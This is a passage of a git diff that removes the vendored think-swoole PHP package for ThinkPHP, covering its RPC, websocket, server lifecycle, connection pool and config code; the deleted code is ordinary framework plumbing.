$this->app->invokeClass(Proxy::getClassName($name, $abstract), [$gateway]); - }); - } - } - } catch (\Exception | \Throwable $e) { - - } - } - } - - protected function createRpcConnector($name) - { - $pool = $this->getPools()->get("rpc.client.{$name}"); - - return new class($pool) implements Connector { - protected $pool; - - public function __construct(ConnectionPool $pool) - { - $this->pool = $pool; - } - - public function sendAndRecv($data) - { - if (!$data instanceof \Generator) { - $data = [$data]; - } - - /** @var \Swoole\Coroutine\Client $client */ - $client = $this->pool->borrow(); - - try { - foreach ($data as $string) { - if (!$client->send($string)) { - $this->onError($client); - } - } - - $response = $client->recv(); - - if ($response === false || empty($response)) { - $this->onError($client); - } - - return $response; - } finally { - $this->pool->return($client); - } - } - - protected function onError(\Swoole\Coroutine\Client $client) - { - $client->close(); - throw new RpcClientException(swoole_strerror($client->errCode), $client->errCode); - } - - }; - } - -} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcServer.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcServer.php deleted file mode 100644 index dfc40a9..0000000 --- a/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcServer.php +++ /dev/null @@ -1,36 +0,0 @@ -getConfig('rpc.server.enable', false)) { - $host = $this->getConfig('server.host'); - $port = $this->getConfig('rpc.server.port', 9000); - - $rpcServer = $this->getServer()->addlistener($host, $port, SWOOLE_SOCK_TCP); - - /** @var RpcManager $rpcManager */ - $rpcManager = $this->container->make(RpcManager::class); - - $rpcManager->attachToServer($rpcServer); - } - } - -} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithServer.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithServer.php deleted file mode 100644 index 7778672..0000000 --- a/vendor/topthink/think-swoole/src/concerns/InteractsWithServer.php +++ /dev/null @@ -1,224 +0,0 @@ -getServer()->set([ - 'task_enable_coroutine' => true, - 'send_yield' => true, - 'reload_async' => true, - 'enable_coroutine' => true, - 'max_request' => 0, - 'task_max_request' => 0, - ]); - $this->initialize(); - $this->triggerEvent('init'); - - //热更新 - if ($this->getConfig('hot_update.enable', false)) { - $this->addHotUpdateProcess(); - } - - $this->getServer()->start(); - } - - /** - * 停止服务 - */ - public function stop(): void - { - $this->getServer()->shutdown(); - } - - /** - * "onStart" listener. - */ - public function onStart() - { - $this->setProcessName('master process'); - - $this->triggerEvent("start", func_get_args()); - } - - /** - * The listener of "managerStart" event. - * - * @return void - */ - public function onManagerStart() - { - $this->setProcessName('manager process'); - $this->triggerEvent("managerStart", func_get_args()); - } - - /** - * "onWorkerStart" listener. - * - * @param \Swoole\Http\Server|mixed $server - * - * @throws Exception - */ - public function onWorkerStart($server) - { - Runtime::enableCoroutine( - $this->getConfig('coroutine.enable', true), - $this->getConfig('coroutine.flags', SWOOLE_HOOK_ALL) - ); - - $this->clearCache(); - - $this->setProcessName($server->taskworker ? 'task process' : 'worker process'); - - $this->prepareApplication(); - - $this->triggerEvent("workerStart", $this->app); - } - - /** - * Set onTask listener. - * - * @param mixed $server - * @param Task $task - */ - public function onTask($server, Task $task) - { - $this->runInSandbox(function (Event $event) use ($task) { - $event->trigger('swoole.task', $task); - }, $task->id); - } - - /** - * Set onShutdown listener. - */ - public function onShutdown() - { - $this->triggerEvent('shutdown'); - } - - /** - * @return Server - */ - public function getServer() - { - return $this->container->make(Server::class); - } - - /** - * Set swoole server listeners. - */ - protected function setSwooleServerListeners() - { - foreach ($this->events as $event) { - $listener = Str::camel("on_$event"); - $callback = method_exists($this, $listener) ? [$this, $listener] : function () use ($event) { - $this->triggerEvent($event, func_get_args()); - }; - - $this->getServer()->on($event, $callback); - } - } - - /** - * 热更新 - */ - protected function addHotUpdateProcess() - { - $process = new Process(function () { - $watcher = new FileWatcher( - $this->getConfig('hot_update.include', []), - $this->getConfig('hot_update.exclude', []), - $this->getConfig('hot_update.name', []) - ); - - $watcher->watch(function () { - $this->getServer()->reload(); - }); - }, false, 0); - - $this->addProcess($process); - } - - /** - * Add process to http server - * - * @param Process $process - */ - public function addProcess(Process $process): void - { - $this->getServer()->addProcess($process); - } - - /** - * 清除apc、op缓存 - */ - protected function clearCache() - { - if (extension_loaded('apc')) { - apc_clear_cache(); - } - - if (extension_loaded('Zend OPcache')) { - opcache_reset(); - } - } - - /** - * Set process name. - * - * @param $process - */ - protected function setProcessName($process) - { - // Mac OSX不支持进程重命名 - if (stristr(PHP_OS, 'DAR')) { - return; - } - - $serverName = 'swoole_http_server'; - $appName = $this->container->config->get('app.name', 'ThinkPHP'); - - $name = sprintf('%s: %s for %s', $serverName, $process, $appName); - - swoole_set_process_name($name); - } - - /** - * Log server error. - * - * @param Throwable|Exception $e - */ - public function logServerError(Throwable $e) - { - /** @var Handle $handle */ - $handle = $this->container->make(Handle::class); - - $handle->renderForConsole(new Output(), $e); - - $handle->report($e); - } -} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithSwooleTable.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithSwooleTable.php deleted file mode 100644 index 6fd4a19..0000000 --- a/vendor/topthink/think-swoole/src/concerns/InteractsWithSwooleTable.php +++ /dev/null @@ -1,69 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\swoole\concerns; - -use Swoole\Table as SwooleTable; -use think\App; -use think\Container; -use think\swoole\Table; - -/** - * Trait InteractsWithSwooleTable - * - * @property Container $container - * @property App $app - */ -trait InteractsWithSwooleTable -{ - /** - * @var Table - */ - protected $currentTable; - - /** - * Register customized swoole tables. - */ - protected function prepareTables() - { - $this->currentTable = new Table(); - $this->registerTables(); - $this->onEvent('workerStart', function () { - $this->app->instance(Table::class, $this->currentTable); - foreach ($this->currentTable->getAll() as $name => $table) { - $this->app->instance("swoole.table.{$name}", $table); - } - }); - } - - /** - * Register user-defined swoole tables. - */ - protected function registerTables() - { - $tables = $this->container->make('config')->get('swoole.tables', []); - - foreach ($tables as $key => $value) { - $table = new SwooleTable($value['size']); - $columns = $value['columns'] ?? []; - foreach ($columns as $column) { - if (isset($column['size'])) { - $table->column($column['name'], $column['type'], $column['size']); - } else { - $table->column($column['name'], $column['type']); - } - } - $table->create(); - - $this->currentTable->add($key, $table); - } - } -} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithWebsocket.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithWebsocket.php deleted file mode 100644 index 33ff3d9..0000000 --- a/vendor/topthink/think-swoole/src/concerns/InteractsWithWebsocket.php +++ /dev/null @@ -1,267 +0,0 @@ -app->make(Websocket::class); - $websocket->setSender($req->fd); - - $this->runInSandbox(function (Event $event, HandlerInterface $handler, App $app) use ($req) { - $request = $this->prepareRequest($req); - $request = $this->setRequestThroughMiddleware($app, $request); - - if (!$handler->onOpen($req->fd, $request)) { - $event->trigger("swoole.websocket.Connect", $request); - } - }, $req->fd, true); - } - - /** - * "onMessage" listener. - * - * @param Server $server - * @param Frame $frame - */ - public function onMessage($server, $frame) - { - /** @var Websocket $websocket */ - $websocket = $this->app->make(Websocket::class); - $websocket->setSender($frame->fd); - - $this->runInSandbox(function (Event $event, ParserInterface $parser, HandlerInterface $handler) use ($frame) { - if (!$handler->onMessage($frame)) { - $payload = $parser->decode($frame); - - ['event' => $name, 'data' => $data] = $payload; - $name = Str::studly($name); - if (!in_array($name, ['Close', 'Connect'])) { - $event->trigger("swoole.websocket." . $name, $data); - } - } - }, $frame->fd, true); - } - - /** - * "onClose" listener. - * - * @param Server $server - * @param int $fd - * @param int $reactorId - */ - public function onClose($server, $fd, $reactorId) - { - if (!$this->isWebsocketServer($fd) || !$server instanceof Server) { - return; - } - - /** @var Websocket $websocket */ - $websocket = $this->app->make(Websocket::class); - $websocket->setSender($fd); - - $this->runInSandbox(function (Event $event, HandlerInterface $handler) use ($websocket, $fd, $reactorId) { - try { - if (!$handler->onClose($fd, $reactorId)) { - $event->trigger("swoole.websocket.Close"); - } - } finally { - // leave all rooms - $websocket->leave(); - } - }, $fd); - } - - /** - * @param App $app - * @param \think\Request $request - * @return \think\Request - */ - protected function setRequestThroughMiddleware(App $app, \think\Request $request) - { - $middleware = $this->getConfig('websocket.middleware', []); - - return (new Pipeline()) - ->send($request) - ->through(array_map(function ($middleware) use ($app) { - return function ($request, $next) use ($app, $middleware) { - if (is_array($middleware)) { - list($middleware, $param) = $middleware; - } - if (is_string($middleware)) { - $middleware = [$app->make($middleware), 'handle']; - } - return call_user_func($middleware, $request, $next, $param ?? null); - }; - }, $middleware)) - ->then(function ($request) { - return $request; - }); - } - - /** - * Prepare settings if websocket is enabled. - */ - protected function prepareWebsocket() - { - if (!$this->isWebsocketServer = $this->getConfig('websocket.enable', false)) { - return; - } - - $this->events = array_merge($this->events ?? [], $this->wsEvents); - - $this->prepareWebsocketRoom(); - - $this->onEvent('workerStart', function () { - $this->bindWebsocketRoom(); - $this->bindWebsocketParser(); - $this->bindWebsocketHandler(); - $this->prepareWebsocketListener(); - }); - } - - /** - * Check if it's a websocket fd. - * - * @param int $fd - * - * @return bool - */ - protected function isWebsocketServer(int $fd): bool - { - return $this->getServer()->getClientInfo($fd)['websocket_status'] ?? false; - } - - /** - * Prepare websocket room. - */ - protected function prepareWebsocketRoom() - { - // create room instance and initialize - $this->websocketRoom = $this->container->make(Room::class); - $this->websocketRoom->prepare(); - } - - protected function prepareWebsocketListener() - { - $listeners = $this->getConfig('websocket.listen', []); - - foreach ($listeners as $event => $listener) { - $this->app->event->listen('swoole.websocket.' . Str::studly($event), $listener); - } - - $subscribers = $this->getConfig('websocket.subscribe', []); - - foreach ($subscribers as $subscriber) { - $this->app->event->observe($subscriber, 'swoole.websocket.'); - } - - //消息推送任务 - $this->app->event->listen('swoole.task', function (Task $task, App $app) { - if ($this->isWebsocketPushPayload($task->data)) { - $pusher = $app->make(Pusher::class, $task->data['data']); - $pusher->push(); - } - }); - } - - /** - * Prepare websocket handler for onOpen and onClose callback. - * - * @throws \Exception - */ - protected function bindWebsocketHandler() - { - $handlerClass = $this->getConfig('websocket.handler', Handler::class); - - $this->app->bind(HandlerInterface::class, $handlerClass); - - $this->app->make(HandlerInterface::class); - } - - protected function bindWebsocketParser() - { - $parserClass = $this->getConfig('websocket.parser', SocketioParser::class); - - $this->app->bind(ParserInterface::class, $parserClass); - - $this->app->make(ParserInterface::class); - } - - /** - * Bind room instance to app container. - */ - protected function bindWebsocketRoom(): void - { - $this->app->instance(Room::class, $this->websocketRoom); - } - - /** - * Indicates if the payload is websocket push. - * - * @param mixed $payload - * - * @return boolean - */ - public function isWebsocketPushPayload($payload): bool - { - if (!is_array($payload)) { - return false; - } - - return $this->isWebsocketServer - && ($payload['action'] ?? null) === Websocket::PUSH_ACTION - && array_key_exists('data', $payload); - } -} diff --git a/vendor/topthink/think-swoole/src/concerns/ModifyProperty.php b/vendor/topthink/think-swoole/src/concerns/ModifyProperty.php deleted file mode 100644 index 018aafb..0000000 --- a/vendor/topthink/think-swoole/src/concerns/ModifyProperty.php +++ /dev/null @@ -1,18 +0,0 @@ -hasProperty($property)) { - $reflectProperty = $reflectObject->getProperty($property); - $reflectProperty->setAccessible(true); - $reflectProperty->setValue($object, $value); - } - } -} diff --git a/vendor/topthink/think-swoole/src/concerns/WithApplication.php b/vendor/topthink/think-swoole/src/concerns/WithApplication.php deleted file mode 100644 index d5715cb..0000000 --- a/vendor/topthink/think-swoole/src/concerns/WithApplication.php +++ /dev/null @@ -1,118 +0,0 @@ -container->config->get("swoole.{$name}", $default); - } - - /** - * 触发事件 - * @param $event - * @param $params - */ - protected function triggerEvent(string $event, $params = null): void - { - $this->container->event->trigger("swoole.{$event}", $params); - } - - /** - * 监听事件 - * @param string $event - * @param $listener - * @param bool $first - */ - public function onEvent(string $event, $listener, bool $first = false): void - { - $this->container->event->listen("swoole.{$event}", $listener, $first); - } - - protected function prepareApplication() - { - if (!$this->app instanceof SwooleApp) { - $this->app = new SwooleApp($this->container->getRootPath()); - $this->app->bind(SwooleApp::class, App::class); - $this->app->bind(Server::class, $this->getServer()); - $this->app->bind("swoole.server", Server::class); - //绑定连接池 - if ($this->getConfig('pool.db.enable', true)) { - $this->app->bind('db', Db::class); - } - if ($this->getConfig('pool.cache.enable', true)) { - $this->app->bind('cache', Cache::class); - } - $this->app->initialize(); - $this->prepareConcretes(); - } - } - - /** - * 预加载 - */ - protected function prepareConcretes() - { - $defaultConcretes = ['db', 'cache', 'event']; - - $concretes = array_merge($defaultConcretes, $this->getConfig('concretes', [])); - - foreach ($concretes as $concrete) { - if ($this->app->has($concrete)) { - $this->app->make($concrete); - } - } - } - - /** - * 获取沙箱 - * @return Sandbox - */ - protected function getSandbox() - { - return $this->app->make(Sandbox::class); - } - - /** - * 在沙箱中执行 - * @param Closure $callable - * @param null $fd - * @param bool $persistent - */ - protected function runInSandbox(Closure $callable, $fd = null, $persistent = false) - { - try { - $this->getSandbox()->run($callable, $fd, $persistent); - } catch (Throwable $e) { - $this->logServerError($e); - } - } - -} diff --git a/vendor/topthink/think-swoole/src/config/swoole.php b/vendor/topthink/think-swoole/src/config/swoole.php deleted file mode 100644 index cfd2751..0000000 --- a/vendor/topthink/think-swoole/src/config/swoole.php +++ /dev/null @@ -1,94 +0,0 @@ - [ - 'host' => env('SWOOLE_HOST', '127.0.0.1'), // 监听地址 - 'port' => env('SWOOLE_PORT', 80), // 监听端口 - 'mode' => SWOOLE_PROCESS, // 运行模式 默认为SWOOLE_PROCESS - 'sock_type' => SWOOLE_SOCK_TCP, // sock type 默认为SWOOLE_SOCK_TCP - 'options' => [ - 'pid_file' => runtime_path() . 'swoole.pid', - 'log_file' => runtime_path() . 'swoole.log', - 'daemonize' => false, - // Normally this value should be 1~4 times larger according to your cpu cores. - 'reactor_num' => swoole_cpu_num(), - 'worker_num' => swoole_cpu_num(), - 'task_worker_num' => swoole_cpu_num(), - 'enable_static_handler' => true, - 'document_root' => root_path('public'), - 'package_max_length' => 20 * 1024 * 1024, - 'buffer_output_size' => 10 * 1024 * 1024, - 'socket_buffer_size' => 128 * 1024 * 1024, - ], - ], - 'websocket' => [ - 'enable' => false, - 'handler' => Handler::class, - 'parser' => Parser::class, - 'ping_interval' => 25000, - 'ping_timeout' => 60000, - 'room' => [ - 'type' => 'table', - 'table' => [ - 'room_rows' => 4096, - 'room_size' => 2048, - 'client_rows' => 8192, - 'client_size' => 2048, - ], - 'redis' => [ - 'host' => '127.0.0.1', - 'port' => 6379, - 'max_active' => 3, - 'max_wait_time' => 5, - ], - ], - 'listen' => [], - 'subscribe' => [], - ], - 'rpc' => [ - 'server' => [ - 'enable' => false, - 'port' => 9000, - 'services' => [ - ], - ], - 'client' => [ - ], - ], - 'hot_update' => [ - 'enable' => env('APP_DEBUG', false), - 'name' => ['*.php'], - 'include' => [app_path()], - 'exclude' => [], - ], - //连接池 - 'pool' => [ - 'db' => [ - 'enable' => true, - 'max_active' => 3, - 'max_wait_time' => 5, - ], - 'cache' => [ - 'enable' => true, - 'max_active' => 3, - 'max_wait_time' => 5, - ], - //自定义连接池 - ], - 'coroutine' => [ - 'enable' => true, - 'flags' => SWOOLE_HOOK_ALL, - ], - 'tables' => [], - //每个worker里需要预加载以共用的实例 - 'concretes' => [], - //重置器 - 'resetters' => [], - //每次请求前需要清空的实例 - 'instances' => [], - //每次请求前需要重新执行的服务 - 'services' => [], -]; diff --git a/vendor/topthink/think-swoole/src/contract/ResetterInterface.php b/vendor/topthink/think-swoole/src/contract/ResetterInterface.php deleted file mode 100644 index 1e39b2c..0000000 --- a/vendor/topthink/think-swoole/src/contract/ResetterInterface.php +++ /dev/null @@ -1,17 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\swoole\contract\websocket; - -use Swoole\Websocket\Frame; -use think\Request; - -interface HandlerInterface -{ - /** - * "onOpen" listener. - * - * @param int $fd - * @param Request $request - */ - public function onOpen($fd, Request $request); - - /** - * "onMessage" listener. - * only triggered when event handler not found - * - * @param Frame $frame - */ - public function onMessage(Frame $frame); - - /** - * "onClose" listener. - * - * @param int $fd - * @param int $reactorId - */ - public function onClose($fd, $reactorId); -} diff --git a/vendor/topthink/think-swoole/src/contract/websocket/ParserInterface.php b/vendor/topthink/think-swoole/src/contract/websocket/ParserInterface.php deleted file mode 100644 index 651d464..0000000 --- a/vendor/topthink/think-swoole/src/contract/websocket/ParserInterface.php +++ /dev/null @@ -1,29 +0,0 @@ -offsetGet($key); - } - return $default; - } - - /** - * 判断是否存在临时数据 - * @param string $key - * @return bool - */ - public static function hasData(string $key) - { - return self::getDataObject()->offsetExists($key); - } - - /** - * 写入临时数据 - * @param string $key - * @param $value - */ - public static function setData(string $key, $value) - { - self::getDataObject()->offsetSet($key, $value); - } - - /** - * 删除数据 - * @param string $key - */ - public static function removeData(string $key) - { - if (self::hasData($key)) { - self::getDataObject()->offsetUnset($key); - } - } - - /** - * 如果不存在则写入数据 - * @param string $key - * @param $value - * @return mixed|null - */ - public static function rememberData(string $key, $value) - { - if (self::hasData($key)) { - return self::getData($key); - } - - if ($value instanceof Closure) { - // 获取缓存数据 - $value = $value(); - } - - self::setData($key, $value); - - return $value; - } - - /** - * @internal - * 清空数据 - */ - public static function clear() - { - self::getDataObject()->exchangeArray([]); - } - - /** - * 获取当前协程ID - * @return mixed - */ - public static function getCoroutineId() - { - return Coroutine::getuid(); - } -} diff --git a/vendor/topthink/think-swoole/src/exception/RpcClientException.php b/vendor/topthink/think-swoole/src/exception/RpcClientException.php deleted file mode 100644 index a1ba56c..0000000 --- a/vendor/topthink/think-swoole/src/exception/RpcClientException.php +++ /dev/null @@ -1,10 +0,0 @@ -getMessage(), $error->getCode()); - $this->error = $error; - } - - public function getError() - { - return $this->error; - } -} diff --git a/vendor/topthink/think-swoole/src/facade/Server.php b/vendor/topthink/think-swoole/src/facade/Server.php deleted file mode 100644 index 6f54a18..0000000 --- a/vendor/topthink/think-swoole/src/facade/Server.php +++ /dev/null @@ -1,22 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\swoole\facade; - -use think\Facade; - -class Server extends Facade -{ - protected static function getFacadeClass() - { - return 'swoole.server'; - } -} diff --git a/vendor/topthink/think-swoole/src/helpers.php b/vendor/topthink/think-swoole/src/helpers.php deleted file mode 100644 index ec7d82b..0000000 --- a/vendor/topthink/think-swoole/src/helpers.php +++ /dev/null @@ -1,20 +0,0 @@ -cloner = new VarCloner(); - $this->cloner->addCasters(ReflectionCaster::UNSET_CLOSURE_FILE_INFO); - } - - public function handle(Request $request, Closure $next) - { - $prevHandler = VarDumper::setHandler(function ($var) { - $dumper = new HtmlDumper(); - $dumper->dump($this->cloner->cloneVar($var)); - }); - $response = $next($request); - VarDumper::setHandler($prevHandler); - return $response; - } -} diff --git a/vendor/topthink/think-swoole/src/pool/Cache.php b/vendor/topthink/think-swoole/src/pool/Cache.php deleted file mode 100644 index f68ff69..0000000 --- a/vendor/topthink/think-swoole/src/pool/Cache.php +++ /dev/null @@ -1,16 +0,0 @@ -app->config->get('swoole.pool.cache', [])); - } - -} diff --git a/vendor/topthink/think-swoole/src/pool/Client.php b/vendor/topthink/think-swoole/src/pool/Client.php deleted file mode 100644 index f045719..0000000 --- a/vendor/topthink/think-swoole/src/pool/Client.php +++ /dev/null @@ -1,72 +0,0 @@ -set($config); - - $client->connect($host, $port, $timeout); - - return $client; - } - - /** - * Disconnect and free resources - * @param \Swoole\Coroutine\Client $connection - * @return mixed - */ - public function disconnect($connection) - { - $connection->close(); - } - - /** - * Whether the connection is established - * @param \Swoole\Coroutine\Client $connection - * @return bool - */ - public function isConnected($connection): bool - { - return $connection->isConnected(); - } - - /** - * Reset the connection - * @param \Swoole\Coroutine\Client $connection - * @param array $config - * @return mixed - */ - public function reset($connection, array $config) - { - - } - - /** - * Validate the connection - * - * @param \Swoole\Coroutine\Client $connection - * @return bool - */ - public function validate($connection): bool - { - return $connection instanceof \Swoole\Coroutine\Client; - } -} diff --git a/vendor/topthink/think-swoole/src/pool/Db.php b/vendor/topthink/think-swoole/src/pool/Db.php deleted file mode 100644 index 7f52630..0000000 --- a/vendor/topthink/think-swoole/src/pool/Db.php +++ /dev/null @@ -1,33 +0,0 @@ -config->get('swoole.pool.db', [])); - } - - protected function getConnectionConfig(string $name): array - { - $config = parent::getConnectionConfig($name); - - //打开断线重连 - $config['break_reconnect'] = true; - return $config; - } - -} diff --git a/vendor/topthink/think-swoole/src/pool/Proxy.php b/vendor/topthink/think-swoole/src/pool/Proxy.php deleted file mode 100644 index 107ead9..0000000 --- a/vendor/topthink/think-swoole/src/pool/Proxy.php +++ /dev/null @@ -1,108 +0,0 @@ -pool = new ConnectionPool( - Pool::pullPoolConfig($config), - new class($creator) implements ConnectorInterface { - - protected $creator; - - public function __construct($creator) - { - $this->creator = $creator; - } - - public function connect(array $config) - { - return call_user_func($this->creator); - } - - public function disconnect($connection) - { - //强制回收内存,完成连接释放 - Event::defer(function () { - gc_collect_cycles(); - }); - } - - public function isConnected($connection): bool - { - return true; - } - - public function reset($connection, array $config) - { - - } - - public function validate($connection): bool - { - return true; - } - }, - [] - ); - - $this->pool->init(); - } - - protected function getPoolConnection() - { - return Context::rememberData("connection." . spl_object_id($this), function () { - $connection = $this->pool->borrow(); - - $connection->{static::KEY_RELEASED} = false; - - Coroutine::defer(function () use ($connection) { - //自动归还 - $connection->{static::KEY_RELEASED} = true; - $this->pool->return($connection); - }); - - return $connection; - }); - } - - public function release() - { - $connection = $this->getPoolConnection(); - if ($connection->{static::KEY_RELEASED}) { - return; - } - $this->pool->return($connection); - } - - public function __call($method, $arguments) - { - $connection = $this->getPoolConnection(); - if ($connection->{static::KEY_RELEASED}) { - throw new RuntimeException("Connection already has been released!"); - } - - return $connection->{$method}(...$arguments); - } - -} diff --git a/vendor/topthink/think-swoole/src/pool/proxy/Connection.php b/vendor/topthink/think-swoole/src/pool/proxy/Connection.php deleted file mode 100644 index 722a720..0000000 --- a/vendor/topthink/think-swoole/src/pool/proxy/Connection.php +++ /dev/null @@ -1,241 +0,0 @@ -__call(__FUNCTION__, func_get_args()); - } - - /** - * 连接数据库方法 - * @access public - * @param array $config 接参数 - * @param integer $linkNum 连接序号 - * @return mixed - */ - public function connect(array $config = [], $linkNum = 0) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 设置当前的数据库Db对象 - * @access public - * @param DbManager $db - * @return void - */ - public function setDb(DbManager $db) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 设置当前的缓存对象 - * @access public - * @param CacheInterface $cache - * @return void - */ - public function setCache(CacheInterface $cache) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 获取数据库的配置参数 - * @access public - * @param string $config 配置名称 - * @return mixed - */ - public function getConfig(string $config = '') - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 关闭数据库(或者重新连接) - * @access public - */ - public function close() - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 查找单条记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return array - */ - public function find(BaseQuery $query): array - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 查找记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return array - */ - public function select(BaseQuery $query): array - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 插入记录 - * @access public - * @param BaseQuery $query 查询对象 - * @param boolean $getLastInsID 返回自增主键 - * @return mixed - */ - public function insert(BaseQuery $query, bool $getLastInsID = false) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 批量插入记录 - * @access public - * @param BaseQuery $query 查询对象 - * @param mixed $dataSet 数据集 - * @return integer - * @throws \Exception - * @throws \Throwable - */ - public function insertAll(BaseQuery $query, array $dataSet = []): int - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 更新记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return integer - */ - public function update(BaseQuery $query): int - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 删除记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return int - */ - public function delete(BaseQuery $query): int - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 得到某个字段的值 - * @access public - * @param BaseQuery $query 查询对象 - * @param string $field 字段名 - * @param mixed $default 默认值 - * @return mixed - */ - public function value(BaseQuery $query, string $field, $default = null) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 得到某个列的数组 - * @access public - * @param BaseQuery $query 查询对象 - * @param string $column 字段名 多个字段用逗号分隔 - * @param string $key 索引 - * @return array - */ - public function column(BaseQuery $query, string $column, string $key = ''): array - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 执行数据库事务 - * @access public - * @param callable $callback 数据操作方法回调 - * @return mixed - * @throws \Throwable - */ - public function transaction(callable $callback) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 启动事务 - * @access public - * @return void - * @throws \Exception - */ - public function startTrans() - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 用于非自动提交状态下面的查询提交 - * @access public - * @return void - */ - public function commit() - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 事务回滚 - * @access public - * @return void - */ - public function rollback() - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * 获取最近一次查询的sql语句 - * @access public - * @return string - */ - public function getLastSql(): string - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - public function table($table) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - public function name($name) - { - return $this->__call(__FUNCTION__, func_get_args()); - } -} diff --git a/vendor/topthink/think-swoole/src/pool/proxy/Store.php b/vendor/topthink/think-swoole/src/pool/proxy/Store.php deleted file mode 100644 index 48c74cb..0000000 --- a/vendor/topthink/think-swoole/src/pool/proxy/Store.php +++ /dev/null @@ -1,98 +0,0 @@ -__call(__FUNCTION__, func_get_args()); - } - - /** - * @inheritDoc - */ - public function get($name, $default = null) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * @inheritDoc - */ - public function set($name, $value, $expire = null) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * @inheritDoc - */ - public function inc(string $name, int $step = 1) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * @inheritDoc - */ - public function dec(string $name, int $step = 1) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * @inheritDoc - */ - public function delete($name) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * @inheritDoc - */ - public function clear() - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * @inheritDoc - */ - public function clearTag(array $keys) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * @inheritDoc - */ - public function getMultiple($keys, $default = null) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * @inheritDoc - */ - public function setMultiple($values, $ttl = null) - { - return $this->__call(__FUNCTION__, func_get_args()); - } - - /** - * @inheritDoc - */ - public function deleteMultiple($keys) - { - return $this->__call(__FUNCTION__, func_get_args()); - } -} diff --git a/vendor/topthink/think-swoole/src/resetters/ClearInstances.php b/vendor/topthink/think-swoole/src/resetters/ClearInstances.php deleted file mode 100644 index bca390a..0000000 --- a/vendor/topthink/think-swoole/src/resetters/ClearInstances.php +++ /dev/null @@ -1,23 +0,0 @@ -getConfig()->get('swoole.instances', [])); - - foreach ($instances as $instance) { - $app->delete($instance); - } - - return $app; - } -} diff --git a/vendor/topthink/think-swoole/src/resetters/ResetConfig.php b/vendor/topthink/think-swoole/src/resetters/ResetConfig.php deleted file mode 100644 index 6dec744..0000000 --- a/vendor/topthink/think-swoole/src/resetters/ResetConfig.php +++ /dev/null @@ -1,18 +0,0 @@ -instance('config', clone $sandbox->getConfig()); - - return $app; - } -} diff --git a/vendor/topthink/think-swoole/src/resetters/ResetEvent.php b/vendor/topthink/think-swoole/src/resetters/ResetEvent.php deleted file mode 100644 index 6ebce4a..0000000 --- a/vendor/topthink/think-swoole/src/resetters/ResetEvent.php +++ /dev/null @@ -1,27 +0,0 @@ -getEvent(); - $this->modifyProperty($event, $app); - $app->instance('event', $event); - - return $app; - } -} diff --git a/vendor/topthink/think-swoole/src/resetters/ResetService.php b/vendor/topthink/think-swoole/src/resetters/ResetService.php deleted file mode 100644 index f0bc3bd..0000000 --- a/vendor/topthink/think-swoole/src/resetters/ResetService.php +++ /dev/null @@ -1,38 +0,0 @@ -getServices() as $service) { - $this->modifyProperty($service, $app); - if (method_exists($service, 'register')) { - $service->register(); - } - if (method_exists($service, 'boot')) { - $app->invoke([$service, 'boot']); - } - } - } - -} diff --git a/vendor/topthink/think-swoole/src/rpc/Error.php b/vendor/topthink/think-swoole/src/rpc/Error.php deleted file mode 100644 index 73d57fe..0000000 --- a/vendor/topthink/think-swoole/src/rpc/Error.php +++ /dev/null @@ -1,72 +0,0 @@ -code = $code; - $instance->message = $message; - $instance->data = $data; - - return $instance; - } - - /** - * @return int - */ - public function getCode(): int - { - return $this->code; - } - - /** - * @return string - */ - public function getMessage(): string - { - return $this->message; - } - - /** - * @return mixed - */ - public function getData() - { - return $this->data; - } - - public function jsonSerialize() - { - return [ - 'code' => $this->code, - 'message' => $this->message, - 'data' => $this->data, - ]; - } -} diff --git a/vendor/topthink/think-swoole/src/rpc/File.php b/vendor/topthink/think-swoole/src/rpc/File.php deleted file mode 100644 index a4d779b..0000000 --- a/vendor/topthink/think-swoole/src/rpc/File.php +++ /dev/null @@ -1,20 +0,0 @@ -getPathname())) { - unlink($this->getPathname()); - } - } catch (Throwable $e) { - - } - } -} diff --git a/vendor/topthink/think-swoole/src/rpc/JsonParser.php b/vendor/topthink/think-swoole/src/rpc/JsonParser.php deleted file mode 100644 index f8c16c0..0000000 --- a/vendor/topthink/think-swoole/src/rpc/JsonParser.php +++ /dev/null @@ -1,124 +0,0 